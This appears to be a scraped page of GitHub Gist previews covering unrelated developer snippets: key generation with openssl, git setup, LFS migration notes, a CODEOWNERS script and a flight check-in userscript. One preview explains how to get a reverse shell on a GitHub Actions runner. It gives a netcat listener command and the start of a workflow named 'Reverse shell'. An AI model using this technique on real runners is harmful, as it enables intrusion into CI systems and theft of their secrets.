joshjohanning

1. Create RSA keys for CA cert, server cert - this will output ca-key.key and server-key.key

openssl genrsa -out ca.key 4096
openssl genrsa -out server.key 4096

2. Create a ca.conf ca config file

abdulrehmansohail

# Create a new repository on the command line
 
touch README.md
git init
git add README.md
git commit -m "first commit"
git remote add origin https://github.com/c0ldlimit/vimcolors.git
git push -u origin master
 
# Push an existing repository from the command line

robandpdx

LFS Migration

A note about OS

By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.

Before migrating to LFS

The first step in migrating to LFS is finding what needs to be migrated. Use git-sizer for this task. Here is a utility script that can be used to run git-sizer on all repos in an org.

Another great tool for understanding blob sizes in a repo is git filter-repo. See these instructions for gathering blob sizing with git filter-repo.

1ARdotNO

param (
    [Parameter(Mandatory = $true)] $repoName,
    [Parameter(Mandatory = $true)] $teamName, #allows multiple teams speatated by comma
    [Parameter(Mandatory = $true)] $orgName,
    $CodeOwnerTeam, #allows multiple teams speatated by comma, use this to define what team has the rights to change the codeowners file itself
    $branch, #if not specified default branch is used
    [switch]$overwrite, #automatically overwrite the existing CODEOWNERS FILE
    [switch]$addperms, #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
    [switch]$enablebranchprotectioncodeowners #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
)

robandpdx

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell

needcaffeine

# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56,
# this script returns a sum of totals by year

import os

totals = {}

for year in os.listdir('.'):
    if os.path.isdir(year) and not year.startswith('.'):
        total = 0

robandpdx

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

• objects larger than 100Mb
• commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

• migrate large objects to LFS
• cleanup previous mistakes or bad practices that caused repo bloat
• remove secrets from repo history

mikegrima

Fix Brave Browser Dictionary

If you have ever mistakenly added a word to the Brave browser dictionary, you need to manually edit the Custom Dictionary.txt file.

As of March 2020, the Brave UI lacks a feature to do this.

Where is the file?

This will depend on your OS. Google for where this is on your OS.

The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.

stormchasing

// ==UserScript==
// @name           Auto Check-In to Southwest Flights
// @namespace      http://www.ryanizzo.com/southwest-auto-check-in/
// @version        1.8
// @author         Nicholas Buroojy (http://userscripts.org/users/83813)
// @contributor    Ryan Izzo (http://www.ryanizzo.com)
// @contributor    JR Hehnly (http://www.okstorms.com @stormchasing)
// @contributor    Trevor McClellan (github.com/trevormcclellan)
// @description    Automatically check in to Southwest Airline flights at the appropriate time.
// @include        https://www.southwest.com/air/check-in/index.html*

mzabriskie

If you're like me you have a dir like ~/Workspace/Github where all your git repos live. I often find myself making a change in a repo, getting side tracked and ending up in another repo, or off doing something else all together. After a while I end up with several repos with modifications. This script helps me pick up where I left off by checking the status of all my repos, instead of having to check each one individually.

Usage:

git-status [directory]

This will run git status on each repo under the directory specified. If called with no directory provided it will default to the current directory.